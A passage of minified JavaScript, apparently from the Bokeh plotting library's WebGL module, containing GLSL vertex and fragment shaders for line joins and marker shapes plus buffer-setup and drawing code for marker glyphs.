f=0;f<2;f++)n[2*(4*l+c)+f]=o[2*l+f];this.cumsum=h,this.vbo_segment.set_size(4*this.V_segment.length),this.vbo_segment.set_data(0,this.V_segment)},e}(i.BaseGLGlyph);n.LineGLGlyph=f},455:function(t,e,n){n.vertex_shader=\\\"\\\\nprecision mediump float;\\\\n\\\\nconst float PI = 3.14159265358979323846264;\\\\nconst float THETA = 15.0 * 3.14159265358979323846264/180.0;\\\\n\\\\nuniform float u_pixel_ratio;\\\\nuniform vec2 u_canvas_size, u_offset;\\\\nuniform vec2 u_scale_aspect;\\\\nuniform float u_scale_length;\\\\n\\\\nuniform vec4 u_color;\\\\nuniform float u_antialias;\\\\nuniform float u_length;\\\\nuniform float u_linewidth;\\\\nuniform float u_dash_index;\\\\nuniform float u_closed;\\\\n\\\\nattribute vec2 a_position;\\\\nattribute vec4 a_tangents;\\\\nattribute vec2 a_segment;\\\\nattribute vec2 a_angles;\\\\nattribute vec2 a_texcoord;\\\\n\\\\nvarying vec4  v_color;\\\\nvarying vec2  v_segment;\\\\nvarying vec2  v_angles;\\\\nvarying vec2  v_texcoord;\\\\nvarying vec2  v_miter;\\\\nvarying float v_length;\\\\nvarying float v_linewidth;\\\\n\\\\nfloat cross(in vec2 v1, in vec2 v2)\\\\n{\\\\n    return v1.x*v2.y - v1.y*v2.x;\\\\n}\\\\n\\\\nfloat signed_distance(in vec2 v1, in vec2 v2, in vec2 v3)\\\\n{\\\\n    return cross(v2-v1,v1-v3) / length(v2-v1);\\\\n}\\\\n\\\\nvoid rotate( in vec2 v, in float alpha, out vec2 result )\\\\n{\\\\n    float c = cos(alpha);\\\\n    float s = sin(alpha);\\\\n    result = vec2( c*v.x - s*v.y,\\\\n                   s*v.x + c*v.y );\\\\n}\\\\n\\\\nvoid main()\\\\n{\\\\n    bool closed = (u_closed > 0.0);\\\\n\\\\n    // Attributes and uniforms to varyings\\\\n    v_color = u_color;\\\\n    v_linewidth = u_linewidth;\\\\n    v_segment = a_segment * u_scale_length;\\\\n    v_length = u_length * u_scale_length;\\\\n\\\\n    // Scale to map to pixel coordinates. The original algorithm from the paper\\\\n    // assumed isotropic scale. We obviously do not have this.\\\\n    vec2 abs_scale_aspect = abs(u_scale_aspect);\\\\n    vec2 abs_scale = u_scale_length * abs_scale_aspect;\\\\n\\\\n    // Correct angles for aspect ratio\\\\n    vec2 av;\\\\n    av = vec2(1.0, tan(a_angles.x)) / abs_scale_aspect;\\\\n    v_angles.x = atan(av.y, av.x);\\\\n    av = vec2(1.0, tan(a_angles.y)) / abs_scale_aspect;\\\\n    v_angles.y = atan(av.y, av.x);\\\\n\\\\n    // Thickness below 1 pixel are represented using a 1 pixel thickness\\\\n    // and a modified alpha\\\\n    v_color.a = min(v_linewidth, v_color.a);\\\\n    v_linewidth = max(v_linewidth, 1.0);\\\\n\\\\n    // If color is fully transparent we just will discard the fragment anyway\\\\n    if( v_color.a <= 0.0 ) {\\\\n        gl_Position = vec4(0.0,0.0,0.0,1.0);\\\\n        return;\\\\n    }\\\\n\\\\n    // This is the actual half width of the line\\\\n    float w = ceil(u_antialias+v_linewidth)/2.0;\\\\n\\\\n    vec2 position = (a_position + u_offset) * abs_scale;\\\\n\\\\n    vec2 t1 = normalize(a_tangents.xy * abs_scale_aspect);  // note the scaling for aspect ratio here\\\\n    vec2 t2 = normalize(a_tangents.zw * abs_scale_aspect);\\\\n    float u = a_texcoord.x;\\\\n    float v = a_texcoord.y;\\\\n    vec2 o1 = vec2( +t1.y, -t1.x);\\\\n    vec2 o2 = vec2( +t2.y, -t2.x);\\\\n\\\\n    // This is a join\\\\n    // ----------------------------------------------------------------\\\\n    if( t1 != t2 ) {\\\\n        float angle = atan (t1.x*t2.y-t1.y*t2.x, t1.x*t2.x+t1.y*t2.y);  // Angle needs recalculation for some reason\\\\n        vec2 t  = normalize(t1+t2);\\\\n        vec2 o  = vec2( + t.y, - t.x);\\\\n\\\\n        if ( u_dash_index > 0.0 )\\\\n        {\\\\n            // Broken angle\\\\n            // ----------------------------------------------------------------\\\\n            if( (abs(angle) > THETA) ) {\\\\n                position += v * w * o / cos(angle/2.0);\\\\n                float s = sign(angle);\\\\n                if( angle < 0.0 ) {\\\\n                    if( u == +1.0 ) {\\\\n                        u = v_segment.y + v * w * tan(angle/2.0);\\\\n                        if( v == 1.0 ) {\\\\n                            position -= 2.0 * w * t1 / sin(angle);\\\\n                            u -= 2.0 * w / sin(angle);\\\\n                        }\\\\n                    } else {\\\\n                        u = v_segment.x - v * w * tan(angle/2.0);\\\\n                        if( v == 1.0 ) {\\\\n                            position += 2.0 * w * t2 / sin(angle);\\\\n                            u += 2.0*w / sin(angle);\\\\n                        }\\\\n                    }\\\\n                } else {\\\\n                    if( u == +1.0 ) {\\\\n                        u = v_segment.y + v * w * tan(angle/2.0);\\\\n                        if( v == -1.0 ) {\\\\n                            position += 2.0 * w * t1 / sin(angle);\\\\n                            u += 2.0 * w / sin(angle);\\\\n                        }\\\\n                    } else {\\\\n                        u = v_segment.x - v * w * tan(angle/2.0);\\\\n                        if( v == -1.0 ) {\\\\n                            position -= 2.0 * w * t2 / sin(angle);\\\\n                            u -= 2.0*w / sin(angle);\\\\n                        }\\\\n                    }\\\\n                }\\\\n                // Continuous angle\\\\n                // ------------------------------------------------------------\\\\n            } else {\\\\n                position += v * w * o / cos(angle/2.0);\\\\n                if( u == +1.0 ) u = v_segment.y;\\\\n                else            u = v_segment.x;\\\\n            }\\\\n        }\\\\n\\\\n        // Solid line\\\\n        // --------------------------------------------------------------------\\\\n        else\\\\n        {\\\\n            position.xy += v * w * o / cos(angle/2.0);\\\\n            if( angle < 0.0 ) {\\\\n                if( u == +1.0 ) {\\\\n                    u = v_segment.y + v * w * tan(angle/2.0);\\\\n                } else {\\\\n                    u = v_segment.x - v * w * tan(angle/2.0);\\\\n                }\\\\n            } else {\\\\n                if( u == +1.0 ) {\\\\n                    u = v_segment.y + v * w * tan(angle/2.0);\\\\n                } else {\\\\n                    u = v_segment.x - v * w * tan(angle/2.0);\\\\n                }\\\\n            }\\\\n        }\\\\n\\\\n    // This is a line start or end (t1 == t2)\\\\n    // ------------------------------------------------------------------------\\\\n    } else {\\\\n        position += v * w * o1;\\\\n        if( u == -1.0 ) {\\\\n            u = v_segment.x - w;\\\\n            position -= w * t1;\\\\n        } else {\\\\n            u = v_segment.y + w;\\\\n            position += w * t2;\\\\n        }\\\\n    }\\\\n\\\\n    // Miter distance\\\\n    // ------------------------------------------------------------------------\\\\n    vec2 t;\\\\n    vec2 curr = a_position * abs_scale;\\\\n    if( a_texcoord.x < 0.0 ) {\\\\n        vec2 next = curr + t2*(v_segment.y-v_segment.x);\\\\n\\\\n        rotate( t1, +v_angles.x/2.0, t);\\\\n        v_miter.x = signed_distance(curr, curr+t, position);\\\\n\\\\n        rotate( t2, +v_angles.y/2.0, t);\\\\n        v_miter.y = signed_distance(next, next+t, position);\\\\n    } else {\\\\n        vec2 prev = curr - t1*(v_segment.y-v_segment.x);\\\\n\\\\n        rotate( t1, -v_angles.x/2.0,t);\\\\n        v_miter.x = signed_distance(prev, prev+t, position);\\\\n\\\\n        rotate( t2, -v_angles.y/2.0,t);\\\\n        v_miter.y = signed_distance(curr, curr+t, position);\\\\n    }\\\\n\\\\n    if (!closed && v_segment.x <= 0.0) {\\\\n        v_miter.x = 1e10;\\\\n    }\\\\n    if (!closed && v_segment.y >= v_length)\\\\n    {\\\\n        v_miter.y = 1e10;\\\\n    }\\\\n\\\\n    v_texcoord = vec2( u, v*w );\\\\n\\\\n    // Calculate position in device coordinates. Note that we\\\\n    // already scaled with abs scale above.\\\\n    vec2 normpos = position * sign(u_scale_aspect);\\\\n    normpos += 0.5;  // make up for Bokeh's offset\\\\n    normpos /= u_canvas_size / u_pixel_ratio;  // in 0..1\\\\n    gl_Position = vec4(normpos*2.0-1.0, 0.0, 1.0);\\\\n    gl_Position.y *= -1.0;\\\\n}\\\\n\\\"},456:function(t,e,n){t(452)},457:function(t,e,n){n.fragment_shader=function(t){return\\\"\\\\nprecision mediump float;\\\\nconst float SQRT_2 = 1.4142135623730951;\\\\nconst float PI = 3.14159265358979323846264;\\\\n//\\\\nuniform float u_antialias;\\\\n//\\\\nvarying vec4  v_fg_color;\\\\nvarying vec4  v_bg_color;\\\\nvarying float v_linewidth;\\\\nvarying float v_size;\\\\nvarying vec2  v_rotation;\\\\n\\\\n\\\"+t+\\\"\\\\n\\\\nvec4 outline(float distance, float linewidth, float antialias, vec4 fg_color, vec4 bg_color)\\\\n{\\\\n    vec4 frag_color;\\\\n    float t = linewidth/2.0 - antialias;\\\\n    float signed_distance = distance;\\\\n    float border_distance = abs(signed_distance) - t;\\\\n    float alpha = border_distance/antialias;\\\\n    alpha = exp(-alpha*alpha);\\\\n\\\\n    // If fg alpha is zero, it probably means no outline. To avoid a dark outline\\\\n    // shining through due to aa, we set the fg color to the bg color. Avoid if (i.e. branching).\\\\n    float select = float(bool(fg_color.a));\\\\n    fg_color.rgb = select * fg_color.rgb + (1.0  - select) * bg_color.rgb;\\\\n    // Similarly, if we want a transparent bg\\\\n    select = float(bool(bg_color.a));\\\\n    bg_color.rgb = select * bg_color.rgb + (1.0  - select) * fg_color.rgb;\\\\n\\\\n    if( border_distance < 0.0)\\\\n        frag_color = fg_color;\\\\n    else if( signed_distance < 0.0 ) {\\\\n        frag_color = mix(bg_color, fg_color, sqrt(alpha));\\\\n    } else {\\\\n        if( abs(signed_distance) < (linewidth/2.0 + antialias) ) {\\\\n            frag_color = vec4(fg_color.rgb, fg_color.a * alpha);\\\\n        } else {\\\\n            discard;\\\\n        }\\\\n    }\\\\n    return frag_color;\\\\n}\\\\n\\\\nvoid main()\\\\n{\\\\n    vec2 P = gl_PointCoord.xy - vec2(0.5, 0.5);\\\\n    P = vec2(v_rotation.x*P.x - v_rotation.y*P.y,\\\\n             v_rotation.y*P.x + v_rotation.x*P.y);\\\\n    float point_size = SQRT_2*v_size  + 2.0 * (v_linewidth + 1.5*u_antialias);\\\\n    float distance = marker(P*point_size, v_size);\\\\n    gl_FragColor = outline(distance, v_linewidth, u_antialias, v_fg_color, v_bg_color);\\\\n    //gl_FragColor.rgb *= gl_FragColor.a;  // pre-multiply alpha\\\\n}\\\\n\\\"},n.circle=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    return length(P) - size/2.0;\\\\n}\\\\n\\\",n.square=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    return max(abs(P.x), abs(P.y)) - size/2.0;\\\\n}\\\\n\\\",n.diamond=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    float x = SQRT_2 / 2.0 * (P.x * 1.5 - P.y);\\\\n    float y = SQRT_2 / 2.0 * (P.x * 1.5 + P.y);\\\\n    float r1 = max(abs(x), abs(y)) - size / (2.0 * SQRT_2);\\\\n    return r1 / SQRT_2;\\\\n}\\\\n\\\",n.hex=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    vec2 q = abs(P);\\\\n    return max(q.y * 0.57735 + q.x - 1.0 * size/2.0, q.y - 0.866 * size/2.0);\\\\n}\\\\n\\\",n.triangle=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    P.y -= size * 0.3;\\\\n    float x = SQRT_2 / 2.0 * (P.x * 1.7 - P.y);\\\\n    float y = SQRT_2 / 2.0 * (P.x * 1.7 + P.y);\\\\n    float r1 = max(abs(x), abs(y)) - size / 1.6;\\\\n    float r2 = P.y;\\\\n    return max(r1 / SQRT_2, r2);  // Intersect diamond with rectangle\\\\n}\\\\n\\\",n.invertedtriangle=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    P.y += size * 0.3;\\\\n    float x = SQRT_2 / 2.0 * (P.x * 1.7 - P.y);\\\\n    float y = SQRT_2 / 2.0 * (P.x * 1.7 + P.y);\\\\n    float r1 = max(abs(x), abs(y)) - size / 1.6;\\\\n    float r2 = - P.y;\\\\n    return max(r1 / SQRT_2, r2);  // Intersect diamond with rectangle\\\\n}\\\\n\\\",n.cross='\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    float square = max(abs(P.x), abs(P.y)) - size / 2.5;   // 2.5 is a tweak\\\\n    float cross = min(abs(P.x), abs(P.y)) - size / 100.0;  // bit of \\\"width\\\" for aa\\\\n    return max(square, cross);\\\\n}\\\\n',n.circlecross=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    // Define quadrants\\\\n    float qs = size / 2.0;  // quadrant size\\\\n    float s1 = max(abs(P.x - qs), abs(P.y - qs)) - qs;\\\\n    float s2 = max(abs(P.x + qs), abs(P.y - qs)) - qs;\\\\n    float s3 = max(abs(P.x - qs), abs(P.y + qs)) - qs;\\\\n    float s4 = max(abs(P.x + qs), abs(P.y + qs)) - qs;\\\\n    // Intersect main shape with quadrants (to form cross)\\\\n    float circle = length(P) - size/2.0;\\\\n    float c1 = max(circle, s1);\\\\n    float c2 = max(circle, s2);\\\\n    float c3 = max(circle, s3);\\\\n    float c4 = max(circle, s4);\\\\n    // Union\\\\n    return min(min(min(c1, c2), c3), c4);\\\\n}\\\\n\\\",n.squarecross=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    // Define quadrants\\\\n    float qs = size / 2.0;  // quadrant size\\\\n    float s1 = max(abs(P.x - qs), abs(P.y - qs)) - qs;\\\\n    float s2 = max(abs(P.x + qs), abs(P.y - qs)) - qs;\\\\n    float s3 = max(abs(P.x - qs), abs(P.y + qs)) - qs;\\\\n    float s4 = max(abs(P.x + qs), abs(P.y + qs)) - qs;\\\\n    // Intersect main shape with quadrants (to form cross)\\\\n    float square = max(abs(P.x), abs(P.y)) - size/2.0;\\\\n    float c1 = max(square, s1);\\\\n    float c2 = max(square, s2);\\\\n    float c3 = max(square, s3);\\\\n    float c4 = max(square, s4);\\\\n    // Union\\\\n    return min(min(min(c1, c2), c3), c4);\\\\n}\\\\n\\\",n.diamondcross=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    // Define quadrants\\\\n    float qs = size / 2.0;  // quadrant size\\\\n    float s1 = max(abs(P.x - qs), abs(P.y - qs)) - qs;\\\\n    float s2 = max(abs(P.x + qs), abs(P.y - qs)) - qs;\\\\n    float s3 = max(abs(P.x - qs), abs(P.y + qs)) - qs;\\\\n    float s4 = max(abs(P.x + qs), abs(P.y + qs)) - qs;\\\\n    // Intersect main shape with quadrants (to form cross)\\\\n    float x = SQRT_2 / 2.0 * (P.x * 1.5 - P.y);\\\\n    float y = SQRT_2 / 2.0 * (P.x * 1.5 + P.y);\\\\n    float diamond = max(abs(x), abs(y)) - size / (2.0 * SQRT_2);\\\\n    diamond /= SQRT_2;\\\\n    float c1 = max(diamond, s1);\\\\n    float c2 = max(diamond, s2);\\\\n    float c3 = max(diamond, s3);\\\\n    float c4 = max(diamond, s4);\\\\n    // Union\\\\n    return min(min(min(c1, c2), c3), c4);\\\\n}\\\\n\\\",n.x='\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    float circle = length(P) - size / 1.6;\\\\n    float X = min(abs(P.x - P.y), abs(P.x + P.y)) - size / 100.0;  // bit of \\\"width\\\" for aa\\\\n    return max(circle, X);\\\\n}\\\\n',n.circlex='\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    float x = P.x - P.y;\\\\n    float y = P.x + P.y;\\\\n    // Define quadrants\\\\n    float qs = size / 2.0;  // quadrant size\\\\n    float s1 = max(abs(x - qs), abs(y - qs)) - qs;\\\\n    float s2 = max(abs(x + qs), abs(y - qs)) - qs;\\\\n    float s3 = max(abs(x - qs), abs(y + qs)) - qs;\\\\n    float s4 = max(abs(x + qs), abs(y + qs)) - qs;\\\\n    // Intersect main shape with quadrants (to form cross)\\\\n    float circle = length(P) - size/2.0;\\\\n    float c1 = max(circle, s1);\\\\n    float c2 = max(circle, s2);\\\\n    float c3 = max(circle, s3);\\\\n    float c4 = max(circle, s4);\\\\n    // Union\\\\n    float almost = min(min(min(c1, c2), c3), c4);\\\\n    // In this case, the X is also outside of the main shape\\\\n    float Xmask = length(P) - size / 1.6;  // a circle\\\\n    float X = min(abs(P.x - P.y), abs(P.x + P.y)) - size / 100.0;  // bit of \\\"width\\\" for aa\\\\n    return min(max(X, Xmask), almost);\\\\n}\\\\n',n.squarex=\\\"\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    float x = P.x - P.y;\\\\n    float y = P.x + P.y;\\\\n    // Define quadrants\\\\n    float qs = size / 2.0;  // quadrant size\\\\n    float s1 = max(abs(x - qs), abs(y - qs)) - qs;\\\\n    float s2 = max(abs(x + qs), abs(y - qs)) - qs;\\\\n    float s3 = max(abs(x - qs), abs(y + qs)) - qs;\\\\n    float s4 = max(abs(x + qs), abs(y + qs)) - qs;\\\\n    // Intersect main shape with quadrants (to form cross)\\\\n    float square = max(abs(P.x), abs(P.y)) - size/2.0;\\\\n    float c1 = max(square, s1);\\\\n    float c2 = max(square, s2);\\\\n    float c3 = max(square, s3);\\\\n    float c4 = max(square, s4);\\\\n    // Union\\\\n    return min(min(min(c1, c2), c3), c4);\\\\n}\\\\n\\\",n.asterisk='\\\\nfloat marker(vec2 P, float size)\\\\n{\\\\n    // Masks\\\\n    float diamond = max(abs(SQRT_2 / 2.0 * (P.x - P.y)), abs(SQRT_2 / 2.0 * (P.x + P.y))) - size / (2.0 * SQRT_2);\\\\n    float square = max(abs(P.x), abs(P.y)) - size / (2.0 * SQRT_2);\\\\n    // Shapes\\\\n    float X = min(abs(P.x - P.y), abs(P.x + P.y)) - size / 100.0;  // bit of \\\"width\\\" for aa\\\\n    float cross = min(abs(P.x), abs(P.y)) - size / 100.0;  // bit of \\\"width\\\" for aa\\\\n    // Result is union of masked shapes\\\\n    return min(max(X, diamond), max(cross, square));\\\\n}\\\\n'},458:function(t,e,n){var a=t(391),s=t(460),i=t(451),r=t(459),o=t(457),u=t(120),g=t(22),p=t(14),l=function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a.__extends(e,t),e.prototype.init=function(){var t=this.gl,e=r.vertex_shader,n=o.fragment_shader(this._marker_code);this.prog=new s.Program(t),this.prog.set_shaders(e,n),this.vbo_x=new s.VertexBuffer(t),this.prog.set_attribute(\\\"a_x\\\",\\\"float\\\",this.vbo_x),this.vbo_y=new s.VertexBuffer(t),this.prog.set_attribute(\\\"a_y\\\",\\\"float\\\",this.vbo_y),this.vbo_s=new s.VertexBuffer(t),this.prog.set_attribute(\\\"a_size\\\",\\\"float\\\",this.vbo_s),this.vbo_a=new s.VertexBuffer(t),this.prog.set_attribute(\\\"a_angle\\\",\\\"float\\\",this.vbo_a),this.vbo_linewidth=new s.VertexBuffer(t),this.vbo_fg_color=new s.VertexBuffer(t),this.vbo_bg_color=new s.VertexBuffer(t),this.index_buffer=new s.IndexBuffer(t)},e.prototype.draw=function(t,e,n){var a=e.glglyph,s=a.nvertices;if(a.data_changed){if(!isFinite(n.dx)||!isFinite(n.dy))return;a._baked_offset=[n.dx,n.dy],a._set_data(s),a.data_changed=!1}else this.glyph instanceof u.CircleView&&null!=this.glyph._radius&&(null==this.last_trans||n.sx!=this.last_trans.sx||n.sy!=this.last_trans.sy)&&(this.last_trans=n,this.vbo_s.set_data(0,new Float32Array(g.map(this.glyph.sradius,function(t){return 2*t}))));this.visuals_changed&&(this._set_visuals(s),this.visuals_changed=!1);var i=a._baked_offset;if(this.prog.set_uniform(\\\"u_pixel_ratio\\\",\\\"float\\\",[n.pixel_ratio]),this.prog.set_uniform(\\\"u_canvas_size\\\",\\\"vec2\\\",[n.width,n.height]),this.prog.set_uniform(\\\"u_offset\\\",\\\"vec2\\\",[n.dx-i[0],n.dy-i[1]]),this.prog.set_uniform(\\\"u_scale\\\",\\\"vec2\\\",[n.sx,n.sy]),this.prog.set_attribute(\\\"a_x\\\",\\\"float\\\",a.vbo_x),this.prog.set_attribute(\\\"a_y\\\",\\\"float\\\",a.vbo_y),this.prog.set_attribute(\\\"a_size\\\",\\\"float\\\",a.vbo_s),this.prog.set_attribute(\\\"a_angle\\\",\\\"float\\\",a.vbo_a),0!=t.length)if(t.length===s)this.prog.draw(this.gl.POINTS,[0,s]);else if(s<65535){var r=window.navigator.userAgent;0<r.indexOf(\\\"MSIE \\\")+r.indexOf(\\\"Trident/\\\")+r.indexOf(\\\"Edge/\\\")&&p.logger.warn(\\\"WebGL warning: IE is known to produce 1px sprites whith selections.\\\"),this.index_buffer.set_size(2*t.length),this.index_buffer.set_data(0,new Uint16Array(t)),this.prog.draw(this.gl.POINTS,this.index_buffer)}else{for(var o=[],l=0,_=Math.ceil(s/64e3);l<_;l++)o.push([]);for(var l=0,_=t.length;l<_;l++){var h=t[l]%64e3,c=Math.floor(t[l]/64e3);o[c].push(h)}for(var c=0,_=o.length;c<_;c++){var f=new Uint16Array(o[c]),d=64e3*c*4;0!==f.length&&(this.prog.set_attribute(\\\"a_x\\\",\\\"float\\\",a.vbo_x,0,d),this.prog.set_attribute(\\\"a_y\\\",\\\"float\\\",a.vbo_y,0,d),this.prog.set_attribute(\\\"a_size\\\",\\\"float\\\",a.vbo_s,0,d),this.prog.set_attribute(\\\"a_angle\\\",\\\"float\\\",a.vbo_a,0,d),this.vbo_linewidth.used&&this.prog.set_attribute(\\\"a_linewidth\\\",\\\"float\\\",this.vbo_linewidth,0,d),this.vbo_fg_color.used&&this.prog.set_attribute(\\\"a_fg_color\\\",\\\"vec4\\\",this.vbo_fg_color,0,4*d),this.vbo_bg_color.used&&this.prog.set_attribute(\\\"a_bg_color\\\",\\\"vec4\\\",this.vbo_bg_color,0,4*d),this.index_buffer.set_size(2*f.length),this.index_buffer.set_data(0,f),this.prog.draw(this.gl.POINTS,this.index_buffer))}}},e.prototype._set_data=function(t){var e=4*t;this.vbo_x.set_size(e),this.vbo_y.set_size(e),this.vbo_a.set_size(e),this.vbo_s.set_size(e);for(var n=new Float64Array(this.glyph._x),a=new Float64Array(this.glyph._y),s=0,i=t;s<i;s++)n[s]+=this._baked_offset[0],a[s]+=this._baked_offset[1];this.vbo_x.set_data(0,new Float32Array(n)),this.vbo_y.set_data(0,new Float32Array(a)),null!=this.glyph._angle&&this.vbo_a.set_data(0,new Float32Array(this.glyph._angle)),this.glyph instanceof u.CircleView&&null!=this.glyph._radius?this.vbo_s.set_data(0,new Float32Array(g.map(this.glyph.sradius,function(t){return 2*t}))):this.vbo_s.set_data(0,new Float32Array(this.glyph._size))},e.prototype._set_visuals=function(t){i.attach_float(this.prog,this.vbo_linewidth,\\\"a_linewidth\\\",t,this.glyph.visuals.line,\\\"line_width\\\"),i.attach_color(this.prog,this.vbo_fg_color,\\\"a_fg_color\\\",t,this.glyph.visuals.line,\\\"line\\\"),i.attach_color(this.prog,this.vbo_bg_color,\\\"a_bg_color\\\",t,this.glyph.visuals.fill,\\\"fill\\\"),this.prog.set_uniform(\\\"u_antialias\\\",\\\"float\\\",[.8])},e}(i.BaseGLGlyph);function _(n){return function(t){function e(){return null!==t&&t.apply(this,arguments)||this}return a.__extends(e,t),Object.defineProperty(e.prototype,\\\"_marker_code\\\",{get:function(){return n},enumerable:!0,configurable:!0}),e}(l)}n.MarkerGLGlyph=l;var h=t(457);n.CircleGLGlyph=_(h.circle),n.SquareGLGlyph=_(h.square),n.DiamondGLGlyph=_(h.diamond),n.TriangleGLGlyph=_(h.triangle),n.InvertedTriangleGLGlyph=_(h.invertedtriangle),n.HexGLGlyph=_(h.hex),n.CrossGLGlyph=_(h.cross),n.CircleCrossGLGlyph=_(h.circlecross),n.SquareCrossGLGlyph=_(h.squarecross),n.DiamondCrossGLGlyph=_(h.diamondcross),n.XGLGlyph=_(h.x),n.CircleXGLGlyph=_(h.circlex),n.SquareXGLGlyph=_(h.squarex),n.AsteriskGLGlyph=_(h.asterisk)},459:function(t,e,n){n.vertex_shader=\\\"\\\\nprecision mediump float;\\\\nconst float SQRT_2 = 1.4142135623730951;\\\\n//\\\\nuniform float u_pixel_ratio;\\\\nuniform vec2 u_canvas_size;\\\\nuniform vec2 u_offset;\\\\nuniform vec2 u_scale;\\\\nuniform float u_antialias;\\\\n//\\\\nattribute float a_x;\\\\nattribute float a_y;\\\\nattribute float a_size;\\\\nattribute float a_angle;  // in radians\\\\nattribute float a_linewidth;\\\\nattribute vec4  a_fg_color;\\\\nattribute vec4  a_bg_color;\\\\n//\\\\nvarying float v_linewidth;\\\\nvarying float v_size;\\\\nvarying vec4  v_fg_color;\\\\nvarying vec4  v_bg_color;\\\\nvarying vec2  v_rotation;\\\\n\\\\nvoid main (void)\\\\n{\\\\n    v_size = a_size * u_pixel_ratio;\\\\n    v_linewidth = a_linewidth * u_pixel_ratio;\\\\n    v_fg_color = a_fg_color;\\\\n    v_bg_color = a_bg_color;\\\\n    v_rotation = vec2(cos(-a_angle), sin(-a_angle));\\\\n    // Calculate position - the -0.5 is to correct for canvas origin\\\\n    vec2 pos = (vec2(a_x, a_y) + u_offset) * u_scale; // in pixels\\\\n    pos += 0.5;  // make up for Bokeh's offset\\\\n    pos /= u_canvas_size / u_pixel_ratio;  // in 0..1\\\\n    gl_Position = vec4(pos*2.0-1.0, 0.0, 1.0);\\\\n    gl_Position.y *= -1.0;\\\\n    gl_PointSize = SQRT_2 * v_size + 2.0 * (v_linewidth + 1.5*u_antialias);\\\\n}\\\\n\\\"},460:function(t,e,n){var a,s,o,i,r,p,d,l,u,x=function(t,e){return Array.isArray(t)&&Array.isArray(e)?t.concat(e):t+e},g=function(t,e){if(null==e);else{if(Array.isArray(e)){for(var n=0;n<e.length;n++)if(v(t,e[n]))return!0;return!1}if(e.constructor===Object){for(var a in e)if(t==a)return!0;return!1}if(e.constructor==String)return 0<=e.indexOf(t)}var s=Error(\\\"Not a container: \\\"+e);throw s.name=\\\"TypeError\\\",s},v=function t(e,n){if(null==e||null==n);else{if(Array.isArray(e)&&Array.isArray(n)){for(var a=0,s=e.length==n.length;s&&a<e.length;)s=t(e[a],n[a]),a+=1;return s}if(e.constructor===Object&&n.constructor===Object){var i=Object.keys(e),r=Object.keys(n);i.sort(),r.sort();for(var o,a=0,s=t(i,r);s&&a<i.length;)o=i[a],s=t(e[o],n[o]),a+=1;return s}}return e==n},_=function(t,e){if(void 0===t||\\\"undefined\\\"!=typeof window&&window===t||\\\"undefined\\\"!=typeof global&&global===t)throw\\\"Class constructor is called as a function.\\\";for(var n in t)void 0!==Object[n]||\\\"function\\\"!=typeof t[n]||t[n].nobind||(t[n]=t[n].bind(t));t.__init__&&t.__init__.apply(t,e)},m=function(t,e){if((\\\"number\\\"==typeof t)+(\\\"number\\\"==typeof e)===1){if(t.constructor===String)return h.call(t,e);if(e.constructor===String)return h.call(e,t);if(Array.isArray(e)){var n=t;t=e,e=n}if(Array.isArray(t)){for(var a=[],s=0;s<e;s++)a=a.concat(t);return a}}return t*e},y=function(t){return null===t||\\\"object\\\"!=typeof t?t:void 0!==t.length?!!t.length&&t:void 0!==t.byteLength?!!t.byteLength&&t:t.constructor!==Object||!!Object.getOwnPropertyNames(t).length&&t},b=function(t){if(!Array.isArray(this))return this.append.apply(this,arguments);this.push(t)},w=function(t,e){return this.constructor!==Object?this.get.apply(this,arguments):void 0!==this[t]?this[t]:void 0!==e?e:null},P=function(t){if(!Array.isArray(this))return this.remove.apply(this,arguments);for(var e=0;e<this.length;e++)if(v(this[e],t))return void this.splice(e,1);var n=Error(t);throw n.name=\\\"ValueError\\\",n},h=function(t){if(this.repeat)return this.repeat(t);if(t<1)return\\\"\\\";for(var e=\\\"\\\",n=this.valueOf();1<t;)1&t&&(e+=n),t>>=1,n+=n;return e+n},c=function(t){return this.constructor!==String?this.startswith.apply(this,arguments):0==this.indexOf(t)};u=window.console,l=function(t,e){var n,a,s,i,r,o,l;for(e=void 0===e?\\\"periodic check\\\":e,i=[];a=t.getError(),!(v(a,t.NO_ERROR)||y(i)&&v(a,i[i.length-1]));)b.call(i,a);if(i.length){for(r=\\\"\\\",\\\"object\\\"!=typeof(o=i)||Array.isArray(o)||(o=Object.keys(o)),l=0;l<o.length;l+=1)n=o[l],r=x(r,n);throw(s=new Error(\\\"RuntimeError:OpenGL got errors (\\\"+e+\\\"): \\\"+r)).name=\\\"RuntimeError\\\",s}return null},(s=function(){_(this,arguments)}).prototype._base_class=Object,s.prototype._class_name=\\\"GlooObject\\\",s.prototype.__init__=function(t){if(this._gl=t,this.handle=null,this._create(),null===this.handle)throw\\\"AssertionError: this.handle !== null\\\";return null},s.prototype._create=function(){var t;throw(t=new Error(\\\"NotImplementedError:\\\")).name=\\\"NotImplementedError\\\",t},((i=function(){_(this,arguments)}).prototype=Object.create(s.prototype))._base_class=s.prototype,i.prototype._class_name=\\\"Program\\\",i.prototype.UTYPEMAP={float:\\\"uniform1fv\\\",vec2:\\\"uniform2fv\\\",vec3:\\\"uniform3fv\\\",vec4:\\\"uniform4fv\\\",int:\\\"uniform1iv\\\",ivec2:\\\"uniform2iv\\\",ivec3:\\\"uniform3iv\\\",ivec4:\\\"uniform4iv\\\",bool:\\\"uniform1iv\\\",bvec2:\\\"uniform2iv\\\",bvec3:\\\"uniform3iv\\\",bvec4:\\\"uniform4iv\\\",mat2:\\\"uniformMatrix2fv\\\",mat3:\\\"uniformMatrix3fv\\\",mat4:\\\"uniformMatrix4fv\\\",sampler1D:\\\"uniform1i\\\",sampler2D:\\\"uniform1i\\\",sampler3D:\\\"uniform1i\\\"},i.prototype.ATYPEMAP={float:\\\"vertexAttrib1f\\\",vec2:\\\"vertexAttrib2f\\\",vec3:\\\"vertexAttrib3f\\\",vec4:\\\"vertexAttrib4f\\\"},i.prototype.ATYPEINFO={float:[1,5126],vec2:[2,5126],vec3:[3